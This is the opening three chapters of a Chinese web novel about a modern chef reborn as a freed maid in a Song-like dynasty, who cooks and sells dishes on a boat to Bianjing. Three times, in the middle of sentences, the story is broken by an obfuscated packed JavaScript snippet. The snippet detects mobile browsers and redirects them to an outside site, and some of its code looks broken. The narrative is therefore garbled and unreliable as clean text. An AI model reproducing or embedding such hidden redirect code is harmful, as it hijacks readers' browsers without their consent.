《我的小食摊火爆整个汴京（美食）》 1. 返程汴京 “当初买她进来也是瞧她生的百伶百俐，又哭的可怜，要卖身养活一双弟妹，我这才发了善心。” “谁料这荡//妇在我房里伺候几年竟然生了淫心，也敢攀附起三郎来？！” “也是算她命大，昨个儿我叫她跪着，晚间下那么大的雪，竟也没能结果了她，倒叫她讨了傅家二郎的几句好话，叫我不得不卖个人情饶了她。” 寒风呼啸着卷过回廊下的湘帘，朱红漆色的梁柱被白雪朦胧成一片影影绰绰，叫人哈口气都能冻成冰。 但即使是这般寒冷天气，廊角依旧站了名粉面妇人，两眼含恨，满面怒火，口中“小蹄子”、“贼淫//妇”之类的话辱骂不绝。 而伴随着辱骂声，一道清瘦娇弱的身影自雪中缓缓走来。 她看起来十六岁上下光景，穿一身浆洗得发白的衣裙，头上用一张靛蓝碎花头巾裹紧青丝，斜插着一支普通木簪子固定，乌云般的鬓角却依旧落下几缕碎发，垂落在削瘦苍白脸侧，十分清丽可怜。 有往日与她交好的丫头见了，忍不住叹息：“自从三娘子嫁进了咱候家，三郎君房里稍有些姿色的姐姐们都被发落了。本以为金枝姐姐是三娘子从娘家带来的陪嫁，三娘子会顾念着情分，谁知竟也这般狠辣。” “三郎君向来急色，没娶时就常在外养着几个唱的，几夜不归家都是常事。金枝姐姐生的这般好，又几次三番拒绝三郎君收用，三郎君早恼了，放话说要用强的。” “是啊，听说人都给拖进假山洞子底下去了，又叫金枝姐姐死命发狠似地挣脱了。弄得那腕口上全是青紫的伤，回来见着我们就一直哭。” “唉，若是遮掩过去也就算了，偏偏金枝姐姐心眼儿实，就把这事儿与三娘子说了。三娘子心狠善妒，直接把人罚在雪里跪了半夜！” “自打雪夜里冻昏了一回，金枝姐姐好似是给冻伶俐了，醒过来后居然主动去找官府验证为奴期满，要求放回家去。若是留在这府里，指不定还要受什么磋磨呢。” 几人凑在一起议论，看向柳金枝的眼神满是怜悯。 柳金枝自是不知小丫头们的议论，她一路哭着跟着婆子出了府，把婆子都哭的心软，多嘴问了句：“出了府，你哪儿去？” “家去。” “哪个家去？” “舅舅家去，他老人家就在汴京城的南边儿开药材铺子哩。”柳金枝扑簌簌掉着泪珠儿，“今个儿就取船北上，再不回来了。” 婆子惊异：“哟，这么赶？” 然而柳金枝觉得还慢了，自她穿过来后，是一刻都不想在这块儿地方待。 所以她在下人房养病期间，把原主的记忆来来回回筛了个遍，终于确定她现在身处在一个类宋的架空朝代。 整体时代发展偏向于北宋后期，却没有外忧内患。 虽然政治算不上海清河晏，路不拾遗，夜不闭户，但也没有太大的动荡。百姓颇为安居乐业，奴婢制度也有了很大发展。 原来的良贱制度是将奴婢打为贱籍，生死全由主人定夺。 但现在奴婢属于编户齐民，不再属于财物，而是有人格的“人”，是为良人。 而现下流行的雇佣制，也让奴婢类似于现代的保姆，有期限、有报酬。 若想要离开主家，只要能向官府证明自己服务期满，就可以放还归家，连主人也干预不了。 也幸好当年原主自卖为奴的时候还不算完全昏了头，只签了五年奴约。 前几日团圆夜时正好服务期满，所以她才能借着出门买药的空当，跑去官府验明真身，最后成功离开侯府。 “您也知道三娘子的性子，我得罪了她，怎么还敢在这儿待呢？”柳金枝一面抽噎，一面不住地拿眼睃那婆子。 只见婆子眼中闪过一丝挣扎犹豫，道：“唉，你也当真是个可怜人。” 说着，又按按胸前衣兜，迟疑半晌，还是从怀里摸出只茄袋，肉疼地塞给柳金枝。 “里头有大概一贯钱，都是同你交好的那些丫头们凑的，说要与你做盘缠，这下便、便给你罢。” 柳金枝眼中闪过一抹笑意，却又装作抽抽噎噎的模样，小心接过了茄袋。 其实她早知道那些与她交好的丫头给她凑了路费盘缠。 只是她当时卧病在床，又有三娘子的人盯着，所以不好给她，就托这管家婆子帮忙。 柳金枝知道这管家婆子虽贪财，但也不算完全泯灭良心，对她这般遭遇也十分怜悯。 所以她这么做作地哭了一路，硬是哭到这婆子都不好意思昧下这救命钱财，又把茄袋还了回来。 毕竟她多年积攒的体己都寄回汴京舅舅家，帮着抚养弟妹了，现下身无分文，寒酸到连张像样的船票都买不起。 这一千文对她来说犹如救命。 “我这厢多谢您了。” 柳金枝高兴地对婆子道了个万福，又十分懂事地从茄袋里取出三四十文请婆子去买茶吃。 平白得了钱，喜得这婆子重又眉开眼笑，道：“你此去汴京就是快也要大半月才到哩，免不得要在船上吃喝，没个干粮可不行。” “正好婆子我识得几个在粮食铺里管事的伙计，同样的米，却能做主卖你个好价。” “你若是愿意，我现在就替你去置办，再叫个脚夫帮着你一块儿运去渡口，耽误不了多少时间。” 这哪儿有不愿意的，柳金枝忙不迭地点头答应，又取出三百文交给婆子，叫她将干饼、米粮、蔬果并各类调料，诸如砂仁、草果、花椒、桔丝、香油、姜末之类都买些回来，各自用小翁装了，一并交付与脚夫拉到渡口。 彼时半轮血色残阳铺满江面，渡口的人已渐渐多起来，都挤在岸边看船靠岸。 柳金枝倚着石栏望船出神。 从记忆里她知道，原主的父母乃是汴京人士，一家子住在新曹门的小胡同里。 因汴京人格外爱吃莲子，莲子又可入药，汴京莲子供不应求，于是满胡同人都以剥莲子为生。 原主父母手脚格外干净利落，为人也勤恳老实，就被选为工头，替整个胡同的采莲工与酒楼、饭馆还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458075|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药铺老板们恰谈价钱。 多年积攒下来，原主家中日渐殷实，也有四五千贯的家财。 只是好景不长，一场风寒叫原主父母双双病故，只留下原主与一双年幼弟妹。 原主自知势弱，养活不了一双弟妹，便求上舅舅，恳求舅舅、舅母抚养弟妹成人。 为了支付抚养费用，原主将家中旧宅挂牌出租给他乡举子做暂时落脚之地，每月得来的租金都交与舅母为弟妹置办衣物、伙食。 汴京寸土寸金，这些个租金别说是一双弟妹，就是再来一双也养得起。 只是舅舅满脸为难地告诉原主，这些银子还不够，因为弟弟聪颖好学，必然要为他将来科举做打算。 只是延请名师、打点礼房胥吏、买经史子集、笔墨纸砚等都花费不菲。 更别提宋人有厚嫁之风，嫁妆必要丰厚，所以原主还得为妹妹积攒一份数额可观的嫁礼。 原主一个幼女无可奈何，只好忍泪自卖入三娘子的娘家孙府为奴，签下五年活契，将所得的十五两银子都交与舅舅、舅母。 入孙府后，原主惦念家人，不仅日常省吃俭用存下银子，连平常所得的一些赏银、值钱玩意儿都寄去汴京。 舅舅、舅母每次都殷勤回信答应，再三让原主放心。 直到孙府与侯府结亲，三娘子从汴京远嫁至秦淮，原主作为陪嫁丫头也跟着南下，再寄东西回汴京时，舅母回信的次数便少了。 从一年五六封信，逐渐减为三四封。 甚至今年原主就只收到了一封信，还是向原主抱怨汴京物价飞涨，银子越发不够用，话里话外都是让原主再多寄一些银子来。 原主信任舅舅、舅母，一直没有多想，可柳金枝却知道这舅舅、舅母八成也不是什么好人。 当年原主尚在汴京时，他们还勉强装个良善模样，殷勤回信。原主一走，他们就打量着天高皇帝远，开始私下里捣鬼。 柳金枝猜，这些年原主寄回家的银子，并出租房子得来的租金，怕有一大半都不会花在弟妹身上，这两个孩子估计正在汴京受苦，心中对她这个多年未曾相见的长姐怕是也要生出些许怨恨来。 这样一想，柳金枝不由对原主这般坎坷的命运心生同情。 毕竟当年原主不敢抚养弟妹，全是因为担心自己无一技之长，养活不起，反倒要连累弟妹受苦。 而舅舅、舅母哪怕隔着一层，毕竟家中也开了个生药铺，生活稳定，衣食不愁，这才狠心离开。 如今她穿来了，占据了原主的身体，必然是要还原主一个情，替她讨回些公道的。 所以她已打算好，一回汴京，就将弟妹两个接回身边。 好在她前世是非物质文化传承人，不仅潜心研究宋明清三朝菜谱，还拜得御厨手艺传承人做师父，在厨艺方面很是拿手，不怕在遍地是吃货的宋朝没个活路。 “诸位，公验了！” 这时，耳边传来船伙计的大声吆喝，原来是船只已靠岸。 柳金枝便不再多想，上前乘船北上。 2. 姜辣羹 将一应物品搬入船舱后，天光尽收，船外已飘起鹅毛大雪。 在这般时节，河面极易结冰，按常理说，漕运本应暂时关闭，但奈何柳金枝有好运气，赶上南方军器监精心制作了一批弓弩急着要上呈官家过目，遣使了沿河劳工连夜开凿河冰，确保漕运畅通。其余民船无不借这股东风，继续载客北上。 柳金枝坐的这艘船到汴京大概要半个来月，长途颠簸下，选个好船舱就格外重要。 所以她在原票价两百文的基础上又多追加了二十文，央船老大替她挑了个明亮宽敞的单人船舱，舱内床单、枕巾、脸盆、牙香、刷牙、一应俱全。 又因为冬日里天寒手冷，又与了二十文给船上伙计，确保每日都有一壶热水、一篓灰碳以及半支白蜡供应。 这么一算，她茄袋里就只剩了四百六十文。 届时她下了船还要雇用脚夫，想利用厨艺挣钱也得支一个属于自己的小摊儿，再算上买进蔬果、鲜肉、佐料的成本……以汴京的物价，这四百六十文怕是眨眼就花光了，还大概率不够。 而且按照原主所谓的舅舅、舅母两个的性子，也不可能舍银子救济她一把，所以她得在船上寻个活儿干，最好在船未靠岸前先把本钱挣回来。 想着，柳金枝推开舱门找到船伙计，笑道：“小哥，敢问船上可有鲜鱼买卖？” 船伙计认识的人广，无论河面上撑竿子的，还是渡头上摆摊卖货的，他都能说上两句话。 因此一听柳金枝的请求，便笑道：“往日里河面结冰，管家不许咱们开凿河冰，鲜鱼自然没有。但娘子好运气，赶上了今年有大人物邀功，现在这鲜鱼是要多少有多少。” 冬日里鱼儿在水里憋闷，河冰一经凿开，都争先恐后跃出水面透气，使得两岸渔民收获颇丰，价格也比寻常便宜。 最后柳金枝以二十文的价格，买下了三尾五斤左右的新鲜鲈鱼。又找了船伙计借了两只干净木桶，返回船舱取出随身携带的菜刀，就在甲板边杀起鱼来。 在她拜师学厨艺的时候，她师父就叫她从杀鱼练起。 所谓“过于急躁则鱼乱,刀法不当则鱼碎”，她足足杀了半年鱼，最后练到下刀干脆利落。 现下她用左手两指扣住鱼鳃，任凭湿漉漉的鱼尾全力拍打在她的手腕，右手手腕一翻刮上鱼身，细碎鱼鳞顿时如雪片般纷飞落下。 再斜切一刀直入鱼腹，刀尖擦着苦胆抵在鱼骨处，往下一剜，就带出一地鱼泡、鱼肠之类的内脏。 这些她不要，通通拾起来扔进河里喂鱼。 然后再蹲下来杀第二条鱼。 夜间晚风大起来，鱼血腥味儿顺着风势外散，叫坐在临窗口的一名少年抬起眼来，眉心微蹙。 少年眉眼清俊儒雅，着一领方口羊绒衫，外罩一身鸦青色素雅的棉袍子，袍身宽大，袖口略微收紧，腰间系一条玄色镶嵌羊脂玉腰带，利落勒住腰身，显出几分君子端方。 “二郎，外头有位娘子在杀鱼呢。”杏安隔着窗望了一望，“可巧就赶在咱窗口，我去说一声，叫这位娘子罢手了吧。” 就要往外走，又叫少年拦住。 “杏安，罢了。这位娘子已是挑在夜里杀鱼了，是我半夜里睡不着，才撞着这腥味儿。”少年将书本收起，“将窗户关了，咱们也歇息吧，正好我看书也看的累了。” 杏安看少年眼里有些血丝，桌边的干粮也只动了一点，便道： “二郎说要走时，侯府的三郎君再三挽留，奴才见他诚心的很，可二郎就是不肯留下，反而叫奴才去买了最近的船票，要连夜赶回汴京。” “现下船上没个好吃好喝的，公子又吃不上辣，饮食不佳，再熬个半月回京，人都要怕瘦脱相了。何必吃这苦呢？” “父亲叫我应举之前多往各地游历，增长见闻，途径秦淮之时想起来，当年与父亲交好的侯大人正在家中丁忧，因而拜见。”少年脱下外袍，递与杏安，“侯大人供职工部，而今虽贵为侍郎，却也温和谦逊，对我甚为优待。府中几位公子亦是对我礼遇有加，从无不足，只是……” 少年迟疑半晌，似是想说些什么，但思及君子慎独，切勿背后搬弄口舌是非，就道：“罢了，我与他们不是同路人。与其违心留下，不如尽快返程。” 杏安把外袍挂在木施上，道：“我知二郎你是为着侯府里的那个丫头。大雪夜里叫人跪在庭子受冻，满府里头还只有郎君你愿意替她饶情两句，可见府中其他人着实刻薄。但咱走的也太急了，连翁辣脚子都没来得及收呢。” 少年摆摆手示意不必再提，杏安也就住了口，又伺候着少年脱靴上床，吹灭白蜡睡下不提。 眼瞧船上最后一盏灯火都熄灭，柳金枝擦擦额上汗，撤开手，带着鱼块重新回到船舱。 四周万籁俱寂，耳边除却河浪拍岸，就只剩下白蜡烛芯噼里啪啦的声响。 柳金枝借着摇曳烛光，撸起袖子将买来的铁锅架在炉子上。 炉子虽有些老旧，但很耐用，塞上黑炭、打了火石之后，不消半刻就有火苗蹿出来大肆舔着锅底。趁着热，她赶紧倒上一壶温水。 幸好中国历史时间线行至宋朝以后，她那充满智慧的老祖宗们已经捣鼓出了铁锅来取代陶锅。 铁锅导热更快，没等完全入夜，水面就冒出白烟，沿着铁锅边缘往外飘，滚水泡起一个炸开一个。 水已经完全烧开了。 就着滚水，她将洗净的三对鱼头、鱼尾尽数贴锅滑进去。 鲜嫩嫩的鱼肉刹那间被开水烫成乳白色，腥气尽消，伴随着大量水汽蒸起，还隐隐透出一丝河鱼鲜香。 这就是鲈鱼的好处。肉质鲜美细腻却少刺，清蒸、红烧、熬汤样样都行。 所以范仲淹才在《江上渔者》中写“江上往来人，但爱鲈鱼美”来赞美鲈鱼，可见是发自肺腑，情真意切。 只是光有鲜鱼香还不足以满足宋朝人的嘴，因为宋朝人是爱吃辣的，甚至可以说是无辣不欢。 但宋朝没有辣椒，为了吃到辣，宋朝人找出了可以代替辣椒的胡椒，以及一系列可以提供辣味儿的食材—— 葱、姜、蒜、蕌头、辣蓼、茱萸和芥菜。 其他的她虽有一些准备，但姜辣羹还得是用姜末入汤味道更妙。 于是扯开布袋抓出辛辣姜末，大量成片撒进锅去，任凭凶猛的沸水将它们尽数卷入锅底，姜末沉浮之间，满室鱼香中便又破空生出香辣呛人的姜味儿来，直刺激的人口里酸酸，似是分泌了一大堆涎水。 这用鱼头鱼尾和大量姜末熬制成的鱼汤，就是常在宋朝早市里出现的“姜辣羹”，喝一口，姜辣和鱼河鱼鲜香相得益彰，犹得宋朝人喜爱。 只不过鱼汤好得熬得浓稠奶白才好喝，现下还不够浓稠，柳金枝要守火，就抱膝坐在小杌子上，以手撑脸，聚精会神地盯着火光。 却不知炊烟袅袅，沿着大开的窗棂散出去，一时间满船盛盈姜辣鲜鱼香，勾引得船客仿佛梦临早市，饥肠辘辘，又遍地寻不到售卖姜辣羹的摊子，只得急的鼻尖儿冒热汗，真个叫做梦也不安生！ 好在半夜小火文炖，到第二日辰时一刻，姜辣羹已彻底成了。 鱼汤香辣扑鼻，色泽呈现天然的奶白色，柳金枝盛了一勺尝尝，入口果然十分醇厚，可见那三尾新鲜鲈鱼的精华都化在里头了。 柳金枝高兴，却感一阵困意袭来，因她昨夜为照顾这羹只睡了不消两盏茶的时间，现下有些撑不住，便将锅盖盖好，自个儿囫囵收拾了一下上床小憩。 她倒不怕耽误买卖，因为宋朝人一日两餐，早上八九点用朝食，下午四五点就用晡食，现下时辰还早着呢。 谁知门口倒传来一阵窸窸窣窣的响动，似是谁在窃窃私语— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458076|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' — “香味儿便是从这位娘子的舱里传出来的。” “嗐，这味道搅扰了我大半夜，我只当是做梦呢，醒来了以后四处寻干粮嚼方知是真的。” …… 一般人出门在外，哪个不是轻便上路？哪怕是宋朝这类经济已高度发达、百姓生活便利的朝代，也避免不了。 所以书生赴京赶考，为了带足干粮，将面团拍扁，中间挖一个洞，再将之脱水晾晒干，挂在书箱旁边，边赶路边吃。 虽然干涩，但起码饱腹。 到后来，这种饼被称之为“环饼”，形状和现代甜甜圈很类似。 也正是因为这种干粮无法满足宋朝人吃货的心，所以当姜辣羹的香味儿四溢，大家为了赶路而被迫压抑已久的味觉终于被重新唤醒了。 “咚咚咚——” 柳金枝从睡梦中迷蒙醒来，犹觉是自个儿幻听。 但舱门被再度叩响：“咚咚咚——” 柳金枝以为是船伙计送每日温水来了，口中一边应：“就来！”，一边起身整理梳洗，去开舱门。 门刚拉开，就见一名着布衣青鞋的年轻书生站在门口，另有几个中年汉子跟在后头。而旁边窗棂下又坐着个戴斗笠、穿蓑衣的老翁。不远处更是立着几名妇人，怀中抱子，不好意思却又略带期望地望向她。 “这是……” 柳金枝迟疑，不由往后一退。 “唐突娘子，不知娘子房里做的是什么？”书生有些不好意思，“我昨个儿夜里就闻着了，闹了半夜的馋鬼儿。好不容易止住了，今早一睁眼却又被香味儿勾住，实在按捺不住，只好腆着一张脸来叩请娘子赏一碗吃。” 柳金枝略一松气，脸上提起笑容：“我做的是姜辣羹，早市里常见，不是什么稀罕物。”说完，她眼珠一转，却又道，“只是这羹是我自个儿做来吃的，怕是与不了郎君太多。” “娘子肯赏一碗已是极好。”书生高兴极了，又从袖子里摸出六文钱递与柳金枝，“我愿按汴京早市的常价购买，娘子请收好。” 见了铜板，柳金枝脸上的笑容顿时又灿烂了几分，赶紧转身推开舱门将姜辣羹倒进干净木桶里提出来，盛了一碗递与那书生。 这姜辣羹刚熬出来，正是鲜香美味的时候。 书生端着碗，迫不及待地迎风埋头深呷一口，碗中浓郁的鲈鱼香和辛姜香顿时被河风散的到处都是。 引得后头的中年汉子、旁边的老翁还有那几个妇人都拥上来，不好意思地笑道： “娘子若是还有剩余，不如也卖与我一碗吃吃吧。” “娘子，我也想要一碗。” “来，这是六文钱，娘子收好。” 柳金枝七手八脚去收钱，心中粗略一算，已有四十八文，买鲈鱼的成本已经回了。 她顿时笑的见牙不见眼，连连盛辣姜羹递出去。 木桶很快见底，周围人得了羹都心满意足地离去。 待到只剩最后一碗时，人已经空了。 柳金枝擦了把额上汗，仰起头看了看日光，正见金乌日渐西移，就快当空而照了。 预估着不会再有人来买羹，柳金枝干脆将这最后一碗收起来，留作自己的朝食。 念及空腹喝羹有些伤胃，她还从随身干粮袋里摸出一只环饼。也不讲究，随意叼在嘴里。左手端羹，右手提桶，预备着回船舱内慢慢享用。 耳边却传来一阵平和稳健的脚步声，似是正有人朝她走来。 有道少年声音响在耳畔，温和平稳： “敢问娘子，还有羹没有？” 以为是随便哪个，柳金枝懒懒掀起眼皮朝来人处一瞥—— 儒雅清俊的少年眼眸似三月湖水，明亮清澈，一身鸦青色袍子，玄色镶嵌羊脂玉腰带勒住腰身，兰枝玉树般负手而立，视线正落在她身上。 3. 山煮羊 一瞬间，柳金枝脑海中闪过一幅画面—— 大雪纷飞的清冷夜里，原主跪在庭中，已是冻得神志不清。 昏昏沉沉之间，却远远瞧见一道雪衣墨发的挺拔身影立在廊下，隔着纷飞寒雪朝她望来。 她艰难地张了张嘴：“救命……” 可声音细弱蚊蝇。 她自知低贱，就如路边的一株草芥，这些高高在上的贵人不会对她有任何一次低眸垂怜，但她仍然想拉着这位陌生郎君的衣角求求他。 “救救我，我不想死……” “阿弟……阿妹……” “……阿姐后悔了……阿姐想回家……” 原主流着泪，发着抖，拼命抱着自己取暖希望活命，却最终没能等来她希求的救助，死在了那场纷飞的夜雪里。 可原主不知道在她死后一刻钟内，就有婆子来拖了她回房，为她灌下活命药汤，口中抱怨着有位身份了不得的郎君不省事，居然胡乱插手别家家务事，明看见三娘子脸都青了，却说什么都要救一个犯错的丫头。 彼时柳金枝才穿过来，艰难睁开眼，只听见那位郎君名唤傅二…… “二郎！” 一道呼喊打断了柳金枝的回忆。 杏安白白胖胖的，迈着小短腿哼哧哼哧朝傅霁景跑来。 虽然喘的上气不接下气，一双圆眼却笑眯成了一条线，得意地说：“二郎，我刚打听知道咱船上有娘子兜售姜辣羹。我拿十文给你买了一碗来！这回你总该肯用朝食了吧。” 柳金枝闻言，笑道：“这位小哥，是奴兜售的这姜辣羹，却只需六文。” 杏安眼睛霎时瞪得圆圆的，不可思议地看向傅霁景：“可是那人说是便宜卖给我的。” 柳金枝倒很少看见有哪位高门子弟的小厮，能这般天真不谙世事了。这必然是主子为人温和，府内风气开明才能养出来的性子。 果然，傅霁景无奈又温和地叹了口气，道：“罢了，只是些许银钱，下次留个心眼儿就是了。” 杏安红着脸点头。 “郎君那碗羹怕是凉了，不如换了这碗吧。”柳金枝趁此机会将自己那碗递送过去，“奴不收您的银钱。” 毕竟如果那天没有傅二郎，哪怕她穿过来也会如同原主一样活活冻死在雪夜里。 这个恩情她自当要报。 但傅霁景表情颇为惊讶，礼貌拒绝了：“娘子不必客气，还是明算账的好。”又说，“杏安，拿六文给这位娘子。” 柳金枝疑惑不解，难不成这傅二郎嫌她报恩的礼太少？ “唔……”柳金枝只好忍痛道，“若是郎君吃不惯船上吃食，奴愿为郎君每日做几个汴京小菜。也、也不收郎君的钱。” 她如今一穷二白，一文钱都得掰成两半花，此举已经算很舍得了！ 傅霁景却大退两步，偏过头，愈加客气疏离：“多谢娘子厚爱，也不必了。” 柳金枝挑眉，还以为傅霁景出身高门，嘴刁看不上这些市井小菜，却又见傅霁景偏着头，从头到尾没敢正眼瞧过她，只肯把一双眸子垂着，谨慎又小心。 再低头一看，原来她作了一身未出阁娘子的装束，才叫傅霁景不敢抬头，兴许说了这么多，傅霁景压根儿还不知道她是谁。 柳金枝有些好笑，也不瞒着，主动上前一步拜谢：“郎君不必推辞，那晚在侯府多亏郎君帮忙向三娘子饶情，才叫奴活下来。滴水之恩，涌泉相报，更何况是救命的恩情。” 得了解释，傅霁景才打量着朝柳金枝看来，只是眼中仍然有些茫然。 柳金枝便知那夜只有她看清了傅霁景，而傅霁景却并不知自己所救的丫头是美是丑，是胖是瘦。 他救人，仅仅因为对方应该活着。 “正是巧了。”杏安拍掌一笑，“我家二郎爱吃辣，可我们走得急，又没有提前预备着，娘子肯帮忙是再好不过了。” 傅霁景也终于看出柳金枝有些许眼熟，便不再拒绝，叉手朝柳金枝一拜，道：“劳烦娘子。” 柳金枝福身：“郎君客气。” 又想把手中热羹递过去。 但傅霁景摇头笑道：“不必了，冬日里若吃了冷的，需用五脏来暖它。娘子刚经历过一场大雪，正是胃寒的时候，还是用些热的暖身为好。” 言罢，便端着那碗冷掉的姜辣羹离开了。 柳金枝不由一笑。 这位傅二郎虽出身高门，倒是十分的愿意为他人着想。 提桶回舱，就着鲜香姜辣的羹汤吃完了一整个环饼，柳金枝开始琢磨晚间该给傅霁景做什么样的吃食。 她走的着急，手边食材有限。 都说巧妇难为无米之炊，就算她有天大的本领，此时也不知该怎的发挥。 其实她也可以向船伙计买些食材，但船上东西贵，她赚的这些钱财怕是不够。 正苦恼时，舱门被人敲响，她出门一瞧，竟是杏安。 他提了两大袋子食材站在门口，笑嘻嘻地叉手一拜：“我家二郎说起动娘子帮忙心里过意不去，这儿有两袋子食材，娘子可随意取用，若还有什么需要的就告知一声，我们给娘子备下就是。” 柳金枝粗浅一翻，发现素菜有白菜、萝卜、冬笋。肉食有猪肉、鱼肉，甚至还有一块肥瘦相间的羊肉。 因为宋朝畜牧业不发达，所以羊肉价贵，远超牛羊肉，一斤往往能卖到六十到八十文不等，而宋朝老百姓一天却平均只能赚一百文左右，负担不起，因此就出现了“百姓食猪，而权贵吃羊”的现象。 而就算是权贵，也不是每个都能吃上上好的羊肉。 傅霁景却能拿出品相这么好的一块，可见家世与财力都不俗，难怪侯家上下都捧着他，一点儿都不敢得罪。 拜谢了杏安，柳金枝拖着食材回到船舱内，略一思索，便将那块羊肉挑出来平铺在砧板上。 她打算做山煮羊。 名字虽然听起来颇为高大上，但放到现代来说就是“水煮羊肉”。 做法不算难，但鉴于傅霁景爱吃辣，柳金枝打算多加些能调出辣味的配菜。 所以她打开自己的佐料麻袋，取出葱十颗、姜五片、蒜三颗、杏仁二十粒、花椒二十粒，另还有胡椒粉、酱油以及二三十颗大粒儿盐摆放在一边备用。 接下来就是处理羊肉，最重要的一步就是去膻。 如果放到现代，她可以选择无数的方法，最简单的就是将羊肉浸泡在冷水里两到三天，让羊肉肌浆蛋白中的氨类物质浸出，减少膻味儿，但现下时间不够。 其余用茶叶、山楂、咖喱、料酒、孜然等去膻味儿的法子也是各有各的不足。只有用白萝卜去膻味儿的办法最好，毕竟她手边就有材料。 于是将羊肉切成两指宽的方块儿，又用船伙计送来的温水洗去羊肉上的血水，再一块块铺进干净砂锅底。 往里灌温水直至水面漫过羊肉，辅以洗过的小葱切成八段、生姜片出五片、花椒脱水二十粒，尽数铺在显嫩嫩的羊肉表面。 最后将砂锅端起来架在红泥小炉子上起火，柳金枝才从麻袋里取出白萝卜开始洗净切块。 白萝卜是最简单的食材，想做的好吃却不容易，需要下功夫“挑筋”，也就是一根根拔除萝卜块里的经络。 但这挑筋的过程需要快，若是任凭厨子挑一天，再好的萝卜也会因为失去水分而变得干瘪难吃，所以挑筋的厨子需要具备超高的刀工，和不俗的眼力。 好在柳金枝两者具备。 她将萝卜放在手心，借助船窗外射进来的阳光，让萝卜里的奇经八脉变得异常清楚，再用绣花针快速下针挑筋。 一块萝卜，她最多只花费十来个呼吸的时间。 等到把两根萝卜的筋都挑完，那金乌也不过是往西稍移了半寸，炉火才盛，砂锅水面也不过浮起一点油星。 柳金枝对此颇为满意。 很好，虽然穿越了一遭，但刀功、眼力没有半点退步。 她擦了把汗，再次查看炉火，心中计较时辰。 羊肉需久煮才能熬的软烂入味儿，而萝卜煮的太烂反而会失去口感。 两者要持恒，就一定得等到汤面开了再下菜蔬。 眼瞧着时辰还早，她将萝卜放在篮子里盖上纱布，又自去麻袋里寻摸了一小袋小米。 别看现代人的主食都是水稻米，就以为古时候的百姓也人人都有水稻吃。 先秦时期，人们主要吃的是粟、黍、菽，也就是谷子、黄米和大豆。 秦朝往后，才慢慢将主食换成小麦。至于到了占城稻出现，并满足了我国大量百姓果腹之需时，中国历史的时间线竟然已经飞跃至宋朝。 也就是说，现在正是宋朝广泛种植占城稻，南方人口大爆炸的时期，百姓们还在经历用占城稻，代替生活中的粟、黍、菽以及小麦做主食的这一粮食更迭过程。 所以大家身边习惯性带着的粮食还是谷子一类，也就是小米。 小米质硬，不易煮熟，若是在现代，大可以用小米与大米以一定比例混合在一起煮饭，但现下条件有限，柳金枝就打算做一回“金比甲”，也就是“小米黄金焖饭”。 将小米倒入陶罐内加灌清水淘洗，却只用筷子搅拌，而不用手搓，几轮下来，小米里的杂质已漂浮在了水面。 把脏水倒掉，重换上适量清水，端到第二个红泥小火炉上起大火，柳金枝就丢开手去处理菜蔬。 被选出来的是芥菜。 宋人嗜辣，便好吃芥菜，研发出了多种吃法。 若将芥菜的根茎，洗净、去皮、切成条，封在缸子里腌上半个月，便叫作“辣脚子”，如同现代的腌干萝卜，只不过更辣些。若只是粗略腌上一晚，再淋上些鲜醋和小磨油，便叫作辣菜。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458077|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 辣菜可以拌在饭里吃，也可以包入面食里当馅儿，做辣菜饼，更是可以研磨碎了，加醋调味，做成最简易的芥末酱，拿来腌渍黄瓜，吃起来香醋酸味儿直刺激的口腔涎水分泌，又鲜辣脆口，叫人欲罢不能。 柳金枝就预备着用辣菜拌小米焖饭。 于是把几个芥菜疙瘩尽数细细地切开，放入浅口小瓷碗内加拌香醋、小磨油，用纱布闷了在一边慢慢腌制。 做到此处，盛着清水的砂锅冒起了小泡，似是水要滚起来了。 她就擦了擦手，端起洗净的小米尽数倾倒进去。 这是一个煮小米饭的小技巧，水开后倒米，可以避免小米糊在锅底。熬制过程中再偶尔用调羹搅拌，会使得小米被烹煮的更加均匀。 尔后再浇上香油两勺、酸醋三勺、大粒儿盐三颗，盖上砂锅盖，大火转小火继续慢炖。 趁着等待的间隙，又将切好的白萝卜放入山煮羊的汤面。 等到两口砂锅内的香气噗噗放的满舱都是，她打开砂锅盖子一瞧，焖好的小米饭色泽金黄，粒粒饱满分明，又因大火收汁，小火慢炖，米粒将汤汁全都锁在体内，尝上一口，爽口劲道，内里喷香。 柳金枝笑着将小米焖饭盛在一只瓷碗里，再切上几段水汪汪的碧绿小葱与金黄小米粒点缀颜色，与腌制辣菜放在一起，便去看山煮羊。 因为文火细炖，羊肉内里早就被炖化了，所以汤面色泽光亮，呈乳白色，像是加入了牛奶。挑掉筋的萝卜因为吸满了汤汁看起来白嫩嫩的像块玉，大半身子浸泡在羊汤内，和熟透了的羊肉块儿依偎在一起，越发显出晶莹剔透。 